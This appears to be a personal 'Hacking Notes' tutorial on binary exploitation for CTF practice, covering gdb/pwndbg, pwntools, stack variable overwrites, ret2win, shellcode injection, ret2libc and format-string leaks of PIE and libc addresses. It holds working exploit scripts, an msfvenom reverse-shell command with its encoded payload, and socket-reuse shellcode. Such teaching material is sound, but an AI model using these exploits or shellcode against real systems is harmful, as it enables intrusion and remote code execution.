Hacking Notes logo Hacking Notes

Tools Usage

ltrace

ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are executed.

$ ltrace ./login 
__libc_start_main(0x8049192, 1, 0xff8f56d4, 0x8049260 <unfinished ...>
puts("Enter admin password: "Enter admin password: 
)                                                   = 23
gets(0xff8f55f6, 0xf7f808cb, 0xf7d3fa2f, 0x80491a9password
)                              = 0xff8f55f6
strcmp("password", "pass")                                                       = 1
puts("Incorrect Password!"Incorrect Password!
)                                                      = 20
printf("Successfully logged in as Admin "..., 25714Successfully logged in as Admin (authorised=25714) :)
)                             = 54
+++ exited (status 0) +++

As you can see the binary compares my password password with pass which should be the admin password.

Ghidra (Decompiler + Disassembler)

Ghidra is a very useful tool to decompile the binary and obtain a close version of the source code.

Ghidra

GDB + Peda + Pwndbg (Debugger + Disassembler)

Once installed and configured we just need to launch gdb.

$ gdb-peda
gdb-peda$

$ gdb-pwndbg                                                                        
pwndbg> 

Opening the file

First we need to select the binary.

gdb-peda$ file ./vuln
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)

Check functions

We can see what function are in there.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  gets@plt
0x08049040  puts@plt
0x08049050  __libc_start_main@plt
0x08049060  _start
0x080490a0  _dl_relocate_static_pie
0x080490b0  __x86.get_pc_thunk.bx
0x080490c0  deregister_tm_clones
0x08049100  register_tm_clones
0x08049140  __do_global_dtors_aux
0x08049170  frame_dummy
0x08049172  main
0x080491c0  __libc_csu_init
0x08049220  __libc_csu_fini
0x08049221  __x86.get_pc_thunk.bp
0x08049228  _fini

Disassemble a function

gdb can also disassemble a function.

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08049192 <+0>:     lea    ecx,[esp+0x4]
   0x08049196 <+4>:     and    esp,0xfffffff0
   0x08049199 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804919c <+10>:    push   ebp
   0x0804919d <+11>:    mov    ebp,esp
   0x0804919f <+13>:    push   ebx
   0x080491a0 <+14>:    push   ecx
   0x080491a1 <+15>:    sub    esp,0x10

Set breakpoints

We can set breakpoints in execution to stop the program in a function.

gdb-peda$ break main
Breakpoint 1 at 0x8049181

Or we can set a breakpoint in a address using the hex value or the ascii value.

gdb-peda$ break *0x804921e
Breakpoint 2 at 0x804921e
gdb-peda$ break *main+140
Breakpoint 1 at 0x804921e

We can also delete breakpoints

gdb-peda$ delete breakpoints

To move between instructions we can use n to go next, and c to continue.

Run the program

gdb-peda$ run

Stack Info

We can also retrieve which data is stored on the stack.

gdb-peda$ info stack
#0  0x08049181 in main ()
#1  0xf7dd4fd6 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x08049092 in _start ()

Create and Read patterns

A common task is to determine the offset of our payload.

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> cyclic -l haaa
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28

Pwntools

pwn is a python library that is designed to create exploits.

from pwn import *

In order to start a program we need to use process function.

io = process('./file')
io = remote('10.10.10.10', 80)
io.recvline()
io.send(b'PAYLOAD\r\n')
io.sendlineafter(b':', b'PAYLOAD')
io.recvall().decode()

Debug template

There is a custom template that is very useful to change between LOCAL, GDB, REMOTE <IP> <PORT>.

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

Ropper (Find Gadgets)

Sometimes we need to find some gadgets to overwrite some registers or simply to jump to the stack and execute our shellcode. ropper is a useful tool from pwntools that search the desired gadget

$ ropper --file server --search "jmp esp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: server
0x0804919f: jmp esp; 

Check Architecture

With file we can check with which architecture we are going to work.

$ file vuln                                     
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

Binary Security

checksec is very usefull to see what defenses are enabled in the compiled binary.

$ checksec vuln                                 
[*] '/tmp/vuln'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Compile with no protections

If we have the source code (C), we can compile it with any protection.

gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie -m32

Overwriting Stack Variables

In some CTFs we need to overwrite a variable which is on the stack with a buffer overflow in order to get the flag.

After finding the user input which is vulnerable to BOF we need to fuzz in order to find the modification of the variable.

Example of a fuzzer using pwntools:

from pwn import *


for length in range(100):
	print("---- LENGTH %d" % length)
	io = process('./overwrite')
	payload = length * b'A'
	print(payload)
	io.sendlineafter(b'?', payload)
	print(io.recvall().decode())
---- LENGTH 31
[+] Starting local process './overwrite': pid 15721
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15721)
 12345678
...

---- LENGTH 32
[+] Starting local process './overwrite': pid 15724
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15724)
 12345600
...

---- LENGTH 33
[+] Starting local process './overwrite': pid 15727
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 15727)
 12340041
...

As you can see after 32 dummy bytes the output variable has been modified.

To confirm we can create a exploit to control de variable.

from pwn import *
io = process('./overwrite')
payload = 32 * b'A' + b'BBBB'
io.sendlineafter(b'?', payload)
print(io.recvall().decode())

Output:

$ python3 myexploit.py
[+] Starting local process './overwrite': pid 20032
[+] Receiving all data: Done (14B)
[*] Process './overwrite' stopped with exit code 0 (pid 20032)
 42424242
...

Once we fully control the variable we need to reverse the binary in order to find which value we need to set into.

After setting a breakpoint in the direction where the variable is compared we can see the desired value.

────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────
 ► 0x80491e0 <do_input+78>     cmp    dword ptr [ebp - 0xc], 0xdeadbeef
   0x80491e7 <do_input+85>     jne    do_input+148                     <do_input+148>
    ↓
   0x8049226 <do_input+148>    sub    esp, 8
   0x8049229 <do_input+151>    push   dword ptr [ebp - 0xc]
   0x804922c <do_input+154>    lea    eax, [ebx - 0x1fe7]
   0x8049232 <do_input+160>    push   eax
   0x8049233 <do_input+161>    call   printf@plt                     <printf@plt>
 
   0x8049238 <do_input+166>    add    esp, 0x10
   0x804923b <do_input+169>    sub    esp, 0xc
   0x804923e <do_input+172>    lea    eax, [ebx - 0x1fe1]
   0x8049244 <do_input+178>    push   eax

The desired value is 0xdeadbeef. We can confirm by overwriting the variable on the debugger.

First we are going to check which is the current value of the memory address EBP - 0xc.

pwndbg> x $ebp -0xc
0xffffcc8c:     0x12345678

Now if we modify the 0xffffcc8c memory address to the desired one 0xdeadbeef and continue the program we will see that we complete the challange.

pwndbg> set *0xffffcc8c = 0xdeadbeef
pwndbg> x $ebp -0xc
0xffffcc8c:     0xdeadbeef
pwndbg> c
Continuing.
good job!!
deadbeef
[Inferior 1 (process 20292) exited normally]

Finally we just need to complete our script, we need to check with file command if the binary is little or bigger endian. In that case we are working with a 32-bit LSB binary so we need to reverse the bytes.

from pwn import *
io = process('./overwrite')
payload = 32 * b'A' + b'\xef\xbe\xad\xde'
io.sendlineafter(b'?', payload)
print(io.recvall().decode())
$ python3 myexploit.py
[+] Starting local process './overwrite': pid 21719
[+] Receiving all data: Done (21B)
[*] Process './overwrite' stopped with exit code 0 (pid 21719)
 good job!!
deadbeef

Ret2Win

Sometimes we need to jump into a function which is never called. So we will overwrite the EIP (instruction pointer) with the desired function memory address.

First of all we need to determine which input is vulnerable to BOF, then we will find hidden function and we will collect its memory address 0x08049182.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  printf@plt
0x08049040  puts@plt
0x08049050  __libc_start_main@plt
0x08049060  __isoc99_scanf@plt
0x08049070  _start
0x080490b0  _dl_relocate_static_pie
0x080490c0  __x86.get_pc_thunk.bx
0x080490d0  deregister_tm_clones
0x08049110  register_tm_clones
0x08049150  __do_global_dtors_aux
0x08049180  frame_dummy
0x08049182  hacked	<--------
0x080491ad  register_name
0x08049203  main
0x0804921f  __x86.get_pc_thunk.ax
0x08049230  __libc_csu_init
0x08049290  __libc_csu_fini
0x08049291  __x86.get_pc_thunk.bp
0x08049298  _fini

After crashing the program, we will see that the EIP, register which determines the return address of the function called, has been overwritten.

pwndbg> run
Starting program: /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win 
Name:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hi there, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*EAX  0x41
*EBX  0x61616161 ('aaaa')
 ECX  0x0
*EDX  0xf7fc2540 ◂— 0xf7fc2540
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x8049230 (__libc_csu_init) ◂— push ebp
*EBP  0x61616161 ('aaaa')
*ESP  0xffffcd10 ◂— 'aaaaaaaaaaaaaaaaaaaaaa'
*EIP  0x61616161 ('aaaa')

Next step is control the EIP, so we need to find the offset. First we need to create a pattern.

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Once sended the payload we will see that the EIP has been overwritten with haaa.

pwndbg> run
Starting program: /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/03-return_to_win/ret2win 
Name:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Hi there, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*EAX  0x6f
*EBX  0x61616166 ('faaa')
 ECX  0x0
*EDX  0xf7fc2540 ◂— 0xf7fc2540
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x8049230 (__libc_csu_init) ◂— push ebp
*EBP  0x61616167 ('gaaa')
*ESP  0xffffcd10 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EIP  0x61616168 ('haaa')

With cyclic we can see the offset.

pwndbg> cyclic -l haaa
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28

Finally we just need to send 28 bytes of dummy data and the memory address of the hacked function 0x08049182.

from pwn import *
io = process('./ret2win')
#Hacked function address 0x08049182
payload = 28 * b'A' + b'\x82\x91\x04\x08'
io.sendlineafter(b':', payload)
print(io.recvall())

Note: When dealing with Little Endian, we need to reverse the bytes order.

Ret2Win with Parameters

Similar with no parameters, but indeed we will need to append the parameteres to the stack.

Before adding ours parameters into the payload we need to specify the return address of the new function called. We can use junk data such as AAAA.

After the return address we will send the parameters in order of being called. First the first parameter and after that the second and more…

from pwn import *
io = process('./ret2win')
#Hacked function address 0x08049182
payload = 28 * b'A' + b'\x82\x91\x04\x08' + 'AAAA' + 'PARAM1' + 'PARAM2'
io.sendlineafter(b':', payload)
print(io.recvall())

Injecting Shellcode

In the last chapters we overwrite some stack variables or return address to access to hidden functions that never have been called. Buf if NX is disabled we will be able to execute shellcode on the stack such as a reverse shell.

$ checksec ./server
[*] '/tmp/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Once controlled the EIP, we are going to overwrite it with the memory address of jmp %esp gadget, which can be found with ropper.

$ ropper --file server --search "jmp esp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: server
0x0804919f: jmp esp; 

Creating Shellcode

There are different tools to create shellcode.

Shellcraft (pwntools)

shellcraft is a tool to create shellcode in linux. To list available payloads we can use:

shellcraft -l

Finally we need to specify the payload.

$ shellcraft i386.linux.sh   #hex
$ shellcraft i386.linux.sh -f a  #asm

Note: Remember to append NOPs (16) before the shellcode to ensure that is correctly loaded.

Example of exploit:

io = start()

# Offset to EIP
padding = 76

# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = next(elf.search(jmp_esp))

# Execute /bin/sh
shellcode = asm(shellcraft.sh())
# Exit
shellcode += asm(shellcraft.exit())

# Build payload
payload = flat(
    asm('nop') * padding,
    jmp_esp,
    asm('nop') * 16,
    shellcode
)

# Write payload to file
write("payload", payload)

# Exploit
io.sendlineafter(b':', payload)

# Get shell
io.interactive()

Msfvenom

msfvenom is the most usage tool to create payloads.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python

And finally we just need to put inside our exploit.

io = start()

# Offset to EIP
padding = 76

# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = next(elf.search(jmp_esp))

# Execute Reverse Shell
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python

buf =  b""
buf += b"\xbe\x99\xc0\x76\x66\xda\xd0\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x73\x3c\x94"
buf += b"\x93\xb2\x66\xae\xbf\xe7\xdb\x02\x2a\x05\x55\x45\x1a"
buf += b"\x6f\xa8\x06\xc8\x36\x82\x38\x22\x48\xab\x3f\x45\x20"
buf += b"\x53\xc0\xb5\xb1\xc3\xc2\xb5\xa0\x4f\x4a\x54\x72\x09"
buf += b"\x1c\xc6\x21\x65\x9f\x61\x24\x44\x20\x23\xce\x39\x0e"
buf += b"\xb7\x66\xae\x7f\x18\x14\x47\x09\x85\x8a\xc4\x80\xab"
buf += b"\x9a\xe0\x5f\xab"

# Build payload
payload = flat(
    asm('nop') * padding,
    jmp_esp,
    asm('nop') * 16,
    buf
)

# Write payload to file
write("payload", payload)

# Exploit
io.sendlineafter(b':', payload)

# Get shell
io.interactive()

Socket Re-Use

Instead of spawning a reverse shell that maybe give problems to us with bad characters we can re-use the open socket.

The following shellcode works to re-use the socket.

buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";

Ret2Libc (Localy)

This technique is very useful to execute code when NX is enabled. Since we need to know the libc memory address and other gadgets we need to exploit it localy.

$ checksec secureserver
[*] '/tmp/secureserver'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

As allways we need to control the EIP in order to control the program flow.

Firstly its important to know that the binary need to be dynamically linked.

$ file secureserver
secureserver: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ba7b32f02b9ce5948bcb57c33599de4ad17682de, for GNU/Linux 3.2.0, not stripped

Dynamically linked sets means that some functions like gets or puts will been called from libc rather than been hardcoded on the binary. That code is stored on the libc library on the system.

Whenever the program wants to access one of this functions will have a look to the Global Offset Table (GOT).

Every libc library has different offsets, and sometimes ASLR is enabled so will need to leak the address or have local access to the system.

libc has more interesting functions such as system which a string like /bin/sh can be passed in order to create a shell.

Check ASLR

To check ASLR you can check the following file on the target machine:

cat /proc/sys/kernel/randomize_va_space
Result ASLR PIE
0 OFF OFF
1 ON ON
2 OFF OFF
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Find libc address

First we need to find the libc address.

$ ldd secureserver                 
        linux-gate.so.1 (0xf7fc7000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d7c000)
        /lib/ld-linux.so.2 (0xf7fc9000)

libc.so.6: /lib/i386-linux-gnu/libc.so.6 (0xf7d7c000)

Find system function address

Next step is to find the offset from libc of the system function.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  3172: 0004c800    55 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.0

system@@GLIBC_2.0: 0x0004c800

Find exit function address

Optional, useful to avoid crashing the program while exploiting.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit 
  1208: 0016ee00    33 FUNC    GLOBAL DEFAULT   15 quick_exit@GLIBC_2.10
  1567: 0003bc90    33 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.0
  2404: 0016edd0    34 FUNC    GLOBAL DEFAULT   15 atexit@GLIBC_2.0
  2606: 0003d740   196 FUNC    WEAK   DEFAULT   15 on_exit@@GLIBC_2.0
  2765: 000918c0    12 FUNC    GLOBAL DEFAULT   15 thrd_exit@GLIBC_2.28
  2767: 000918c0    12 FUNC    GLOBAL DEFAULT   15 thrd_exit@@GLIBC_2.34
  3274: 001641c0    56 FUNC    GLOBAL DEFAULT   15 svc_exit@GLIBC_2.0
  3288: 000df4f0    87 FUNC    GLOBAL DEFAULT   15 _exit@@GLIBC_2.0

exit@@GLIBC_2.0: 0x0003bc90

Find /bin/sh string

$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 1b5faa /bin/sh

/bin/sh: 0x001b5faa

Exploiting

This is an example with pwntools:

io = start()

# Offset to EIP
padding = 76

#Addresses
libc_base = 0xf7d7c000
system = libc_base + 0x4c800
exit = libc_base + 0x3bc90
binsh = libc_base + 0x1b5faa

# Build payload
payload = flat(
  asm('nop') * padding, # Offset to EIP
  system, # Address of SYSTEM function in LIBC
  exit, # Return pointer
  binsh # Address of /bin/sh in LIBC
)

# Save payload to a file
write('payload.bin', payload)

# Exploit
io.sendlineafter(b':', payload)

# Get shell
io.interactive()

Another example with struct:

import struct

offset = 52
overflow = "A" * offset

libc = 0xb7e19000

system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)

payload = overflow + system + exit + binsh
print(payload)

Ret2Libc 64-bit (Locally)

Similar to 32bits but we need to find the gadget of pop rdi and ret.

$ ropper --file secureserver --search "pop rdi" 
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: secureserver
0x000000000040120b: pop rdi; ret; 


$ ropper --file secureserver --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: secureserver
0x0000000000401016: ret; 

The exploit is quite similar, but we need to put the payload in the following order:

PADDING + RET + POP RDI + /bin/sh + libc.system + libc.exit
io = start()

offset = 72
pop_rdi = 0x40120b
ret = 0x401016

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x00007ffff7dc9000

payload = flat(
    asm("nop") * offset,
    ret,
    pop_rdi,
    next(libc.search(b'/bin/sh\x00')),
    libc.symbols.system,
    libc.symbols.exit
)
io.sendlineafter(b':', payload)
io.interactive()

Format String Vulnerability (printf)

A format string vulnerability is not a buffer overflow itself, but it is used to leak addresses such as the PIE base address or libc addresses.

What is a format string?

Format strings are strings that contain format specifiers. They are used in format functions in C and in many other programming languages.

Format specifiers in a format string are placeholders that will be replaced with a piece of data that the developer passes in.

printf("Hello, my name is %s.", name);
Format String Description
%d Integers in decimal
%u Unsigned integer in decimal
%x Unsigned integer in hex
%s Data should be a pointer to a string
%p Pointer in hex

Vulnerability

When in a printf statement is called without specifying what type it should be like the following case:

printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);

We are going to be able to exfiltrate data of the buffer such as pointers to libc functions and more.

> %p %p %p %p %p
0x40 0xf7f99620 0x8049217 (nil) 0x67616c66

We can also ask directly to the nth number of the stack, here it can appear some pointers and some strings that are added to the stack.

> %1$p
0x40
> %2$p
0xf7f99620
> %3$p
0x8049217

Note: Is little endian, we need to reverse it to obtain the string.

Fuzzer - Search for strings

We can craft a fuzzer to retrieve strings from the stack.

from pwn import *

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./format_vuln', checksec=False)

# Let's fuzz 100 values
for i in range(100):
    try:
        # Create process (level used to reduce noise)
        p = process(level='error')
        # When we see the user prompt '>', format the counter
        # e.g. %2$s will attempt to print second pointer as string
        p.sendlineafter(b'> ', '%{}$s'.format(i).encode())
        # Receive the response
        result = p.recvuntil(b'> ')
        # Check for flag
        # if("flag" in str(result).lower()):
        print(str(i) + ': ' + str(result))
        # Exit the process
        p.close()
    except EOFError:
        pass
37: b'\x98$\xad\xfb\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd2\x04\x08\xe0\xd6\x04\x08\n> '
39: b'flag{foRm4t_stRinGs_aRe_DanGer0us}\n> '
40: b'\x01\n> '

Leak PIE and Libc addresses 64-bit

We can combine two techniques that have been disscussed in this post earlier. We can use the format string vulnerability to bypass PIE and leak the remote libc address.

PIE is the same concept than ASLR but applied specifically to the binary. So if a binary is compiled with PIE, instead of see addresses in our debugger we will see offsets to the PIE Base address.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001030  puts@plt
0x0000000000001040  printf@plt
0x0000000000001050  fgets@plt
0x0000000000001060  gets@plt
0x0000000000001070  setgid@plt
0x0000000000001080  setuid@plt
0x0000000000001090  __cxa_finalize@plt
0x00000000000010a0  _start
0x00000000000010d0  deregister_tm_clones
0x0000000000001100  register_tm_clones
0x0000000000001140  __do_global_dtors_aux
0x0000000000001180  frame_dummy
0x0000000000001185  enter_name
0x00000000000011d6  vuln
0x00000000000011f8  main
0x0000000000001250  __libc_csu_init
0x00000000000012b0  __libc_csu_fini
0x00000000000012b4  _fini

The idea is to use a format string vulnerability to leak the PIE base address.

With GDB we can get the local PIE base, we will use to calculate offsets localy, but the PIE base address will change on a remote server.

pwndbg> piebase
Calculated VA from /home/mvaliente/KaliShared/learn/pwn/CTF/pwn/binary_exploitation_101/08-leak_pie_ret2libc/pie_server = 0x555555554000

We can use breakrva to put a breakpoint knowing the offset of the PIE base.

pwndbg> breakrva 0x11f0
Breakpoint 6 at 0x5555555551f0

We need to create a fuzzer in order to find on the stack some addresses.

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
piebase
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './pie_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'warning'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

for i in range(100):
  try: 
    io = start()
    io.sendlineafter(b':', '%{}$p'.format(i).encode())
    io.recvuntil(b'Hello ')
    r = io.recvline()
    print(str(i) + ': ' + str(r))
  except:
    pass
0: b'%0$p\n'
1: b'0x6c6c6548\n'
2: b'(nil)\n'
3: b'(nil)\n'
4: b'0x5555555596b5\n'
5: b'(nil)\n'
6: b'0xa70243625\n'
7: b'(nil)\n'
8: b'(nil)\n'
15: b'0x555555555224\n'
38: b'0x5555555551f8\n'

Knowing our PIE base address looks like 0x555555554000, the 4th item of the stack is probably a address of a function. Let’s calculate which is the offset to the base.

pwndbg> x 0x5555555596b5
0x5555555596b5: Cannot access memory at address 0x5555555596b5
pwndbg> x 0x5555555550ca
0x5555555550ca <_start+42>:     0x441f0ff4
pwndbg> x 0x5555555550a0
0x5555555550a0 <_start>:        0x8949ed31
pwndbg> x 0x5555555551f8
0x5555555551f8 <main>:  0xe5894855
pwndbg> x 0x555555555224
0x555555555224 <main+44>:       0xfd3d8d48
pwndbg> x 0x7fffffffe796
0x7fffffffe796: 0x5345445f

We can use for example main function that we know that is the 38th item of the stack to calculate the offset.

pwndbg> x 0x5555555551f8 - 0x555555554000 
0x11f8 <main>:  Cannot access memory at address 0x11f8

Note: OFFSET = KNOWN FUNCTION - LOCAL PIE BASE.

So if we retrieve the main address and we know the offset we can get the PIE base address.

# Retrieving PIE Base Address
io = start()
io.sendlineafter(b':', '%38$p')
io.recvuntil(b'Hello ')
r = io.recvline()

main_address = int(r[:-1], 16)
info("Leaked <main>: %#x", main_address)

pie_base = main_address - 0x11f8
info("PIE base: %#x", pie_base)
[*] Leaked <main>: 0x5555555551f8
[*] PIE base: 0x555555554000

Note: REMOTE PIE BASE = KNOWN FUNCTION - OFFSET.

$ ropper --file pie_server --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: pie_server
0x00000000000012ab: pop rdi; ret;

Next step is to execute a BOF in order to leak a function address of the GOT. In that case with the function puts called on the program we can print the value of address of puts on the global offset table.

We can specify the function address in the return to execute another time the vulnerable function.

# Retrieving LIBC address
# - BOF
padding = 264
pop_rdi = elf.address + 0x12ab

payload = flat(
  padding * b'A',
  pop_rdi,
  elf.got.puts,
  elf.plt.puts,
  elf.symbols.vuln
)

io.sendlineafter(b':P', payload)
io.recvlines(2)
got_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))
info("GOT Puts: %#x", got_puts)
[*] Leaked <main>: 0x5555555551f8
[*] PIE base: 0x555555554000
[*] GOT Puts: 0x7ffff7e3c820

Next step is to obtain the libc base address. Knowing the libc library used and knowing the address of the put function, we can calculate the offset.

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
   230: 0000000000077820   405 FUNC    WEAK   DEFAULT   16 puts@@GLIBC_2.2.5
pwndbg> x 0x7ffff7e3c820 - 0x77820
0x7ffff7dc5000: 0x464c457f

Next Step is to search all the functions needed and overflow the buffer to execute commands.

libc_address = got_puts - 0x77820
system = libc_address + 0x4c330
binsh = libc_address + 0x196031
exit = libc_address + 0x3e590

info("libc Base: %#x", libc_address)
info("System: %#x", system)
info("/bin/sh: %#x", binsh)
info("Exit: %#x", exit)

payload = flat(
  padding * b'A',
  pop_rdi,
  binsh,
  system
)

io.sendline(payload)
io.interactive()

References